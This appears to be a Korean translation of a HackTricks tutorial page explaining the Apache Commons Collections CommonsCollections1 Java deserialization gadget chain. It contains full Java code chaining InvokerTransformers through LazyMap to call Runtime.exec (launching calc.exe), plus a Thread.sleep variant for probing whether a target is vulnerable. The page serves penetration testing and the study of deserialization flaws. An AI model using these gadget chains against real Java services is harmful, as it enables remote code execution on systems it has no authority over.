10 KiB
CommonsCollection1 페이로드 - Java Transformers를 사용한 Rutime exec() 및 Thread Sleep
htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFTs 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 저를 팔로우하세요 🐦@carlospolopm.
- **hacktricks repo 및 hacktricks-cloud repo**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
Java Transformers를 사용한 Rutime exec()
여러 곳에서는 다음과 같이 Apache common collections의 transformers를 사용하는 자바 역직렬화 페이로드를 찾을 수 있습니다:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
만약 자바 역직렬화 페이로드에 대해 아무것도 모른다면, 이 코드가 calc를 실행하는 이유를 이해하기 어려울 수 있습니다.
먼저 알아야 할 것은 자바에서의 Transformer는 클래스를 받아서 다른 클래스로 변환하는 것입니다.
또한 여기서 실행되는 페이로드는 다음과 같습니다:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
또는 더 정확히 말하면, 최종적으로 실행될 것은 다음과 같습니다:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
어떻게
그래서, 첫 번째 페이로드는 "간단한" 한 줄짜리 페이로드와 동등한 것으로 나타낼 수 있는 방법은 어떤 것인가요?
첫 번째로, 페이로드에서 변환의 체인(배열)이 생성되는 것을 알 수 있습니다:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
코드를 읽으면 배열의 변환을 연결하는 방법을 알 수 있습니다. 이렇게 연결하면 임의의 명령을 실행할 수 있습니다.
그렇다면, 이러한 변환은 어떻게 연결되는 걸까요?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
마지막 섹션에서 페이로드를 볼 수 있습니다. Map 객체가 생성됩니다. 그런 다음, LazyMap
에서 decorate
함수가 실행되고 맵 객체와 연결된 변환기가 전달됩니다. 다음 코드에서 볼 수 있듯이, 이로 인해 연결된 변환기가 lazyMap.factory
속성 내에 복사됩니다.
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
그리고 마지막으로 위대한 피날레가 실행됩니다: lazyMap.get("anything");
다음은 get
함수의 코드입니다:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
그리고 이것은 transform
함수의 코드입니다.
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
그래서, factory 안에는 **chainedTransformer
**가 저장되어 있고, transform
함수 안에서는 모든 연결된 transformer를 순회하면서 하나씩 실행합니다. 재미있는 점은 각 transformer가 입력으로 object
를 사용하고 object는 마지막으로 실행된 transformer의 출력입니다. 따라서, 모든 변환은 악성 페이로드를 실행하는 연결된 상태입니다.
요약
마지막으로, lazyMap이 get 메서드 내에서 연결된 transformer를 관리하는 방식 때문에, 우리가 다음 코드를 실행하는 것과 같습니다:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
각 변환의 입력은 value
이며 이전 변환의 출력이기 때문에 한 줄로 실행할 수 있다는 점에 주목하세요:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
여기에서는 ComonsCollections1 페이로드에 사용되는 가젯들에 대해 설명되었습니다. 그러나 이 모든 것이 어떻게 실행되는지는 설명되지 않았습니다. 여기에서 ysoserial을 볼 수 있습니다. 이 페이로드를 실행하기 위해 AnnotationInvocationHandler
객체를 사용합니다. 이 객체가 역직렬화될 때 payload.get()
함수를 호출하여 전체 페이로드를 실행합니다.
Java Thread Sleep
이 페이로드는 웹이 취약한지 여부를 확인하는 데 유용할 수 있습니다. 취약하다면 sleep을 실행합니다.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
더 많은 가젯
더 많은 가젯은 여기에서 찾을 수 있습니다: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
- 사이버 보안 회사에서 일하시나요? 회사를 HackTricks에서 광고하고 싶으신가요? 아니면 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요? SUBSCRIPTION PLANS를 확인해보세요!
- The PEASS Family를 발견해보세요. 독점적인 NFTs 컬렉션입니다.
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter에서 저를 팔로우하세요 🐦@carlospolopm.
- **hacktricks repo와 hacktricks-cloud repo**에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.